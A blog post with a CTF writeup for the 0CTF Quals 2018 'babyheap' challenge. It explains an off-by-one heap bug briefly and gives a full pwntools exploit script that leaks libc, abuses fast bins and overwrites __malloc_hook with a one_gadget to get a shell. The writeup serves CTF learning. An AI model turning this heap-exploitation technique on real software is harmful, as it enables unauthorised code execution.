Sunichi's Blog

sunichi@DUBHE | Linux & Pwn & Fuzz

0%

2019 Mar pwn writeup

0CTF Quals 2018 babyheap [2019.03.12]

一道挺有趣的fast bin做法的题。

漏洞为off-by-one。一开始想利用FSOP来getshell,但是由于程序申请的chunk的大小的限制,无法将chunk从unsorted bin放入smallbin[4]。

由于程序允许的chunk大小范围时0x20-0x50,因此可以利用堆地址的0x55/0x56来获取main_arena处的空间,进而修改top_chunk指针到malloc_hook附近劫持malloc_hook

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
# coding=utf-8
from pwn import *


def add(p, size):
p.sendlineafter('Command: ', str(1))
p.sendlineafter('Size: ', str(size))


def update(p, idx, content, attack=0, size=0):
p.sendlineafter('Command: ', str(2))
p.sendlineafter('Index: ', str(idx))
if attack == 0:
p.sendlineafter('Size: ', str(len(content)))
else:
p.sendlineafter('Size: ', str(size))
p.sendafter('Content: ', content)


def delete(p, idx):
p.sendlineafter('Command: ', str(3))
p.sendlineafter('Index: ', str(idx))


def view(p, idx):
p.sendlineafter('Command: ', str(4))
p.sendlineafter('Index: ', str(idx))


def pwn():
BIN_PATH = './program'
DEBUG = 1
local = 1
context.arch = 'amd64'
if DEBUG == 1:
p = process(BIN_PATH)
elf = ELF(BIN_PATH)
context.log_level = 'debug'
context.terminal = ['tmux', 'split', '-h']
if context.arch == 'amd64':
if local == 1:
libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
else:
libc = ELF('./libc.so.6')
else:
libc = ELF('/lib/i386-linux-gnu/libc.so.6')


add(p, 0x28) #0
add(p, 0x58) #1
add(p, 0x48) #2
update(p, 0, '\x00' * 0x28 + '\x91', 1, 0x29)
update(p, 2, p64(0) * 5 + p64(0x21))
delete(p, 1)
add(p, 0x58) #1
view(p, 2)
p.recvuntil('k[2]: ')
recv = p.recv(8)
libc.address = u64(recv) - (0x7f4675a13b78 - 0x00007f467564f000)
log.info('libc:%s' % hex(libc.address))
update(p, 2, recv * 2 + p64(0) * 2 + p64(0x30) + p64(0x21))
update(p, 0, '\x00' * 0x28 + '\x91', 1, 0x29)
delete(p, 1)
view(p, 2)
p.recvuntil('k[2]: ')
p.recv(8)
heap = p.recv(8)
heap_addr = u64(heap) - 0x60
log.info('heap base:%s' % hex(heap_addr))

# clear the heap
add(p, 0x28) #1
update(p, 2, p64(0) * 4 + p64(0x90) + p64(0x20))
add(p, 0x58) #3
add(p, 0x28) #4
update(p, 3, '\x00' * 0x58 + '\x51', 1, 0x59)
# chunk overlap to fast bin attack
delete(p, 2)
delete(p, 0)
update(p, 4, p64(libc.address + (0x7f7aaf721b2d - 0x00007f7aaf35d000)))
add(p, 0x48) #0
add(p, 0x48) #2 main_arena
payload = '\x00\x00\x00' + p64(0) * 7 + p64(libc.symbols['__malloc_hook'] - 0x23)
update(p, 2, payload)
add(p, 0x38)
payload = '\x00\x00\x00' + p64(0) + p64(0) + p64(libc.address + 0xf02a4)
update(p, 5, payload)
# getshell
delete(p, 1)
delete(p, 4)
# gdb.attach(p)
p.interactive()
p.close()


if __name__ == '__main__':
pwn()

BSidesSF CTF 2019 straw_clutcher [2019.03.17]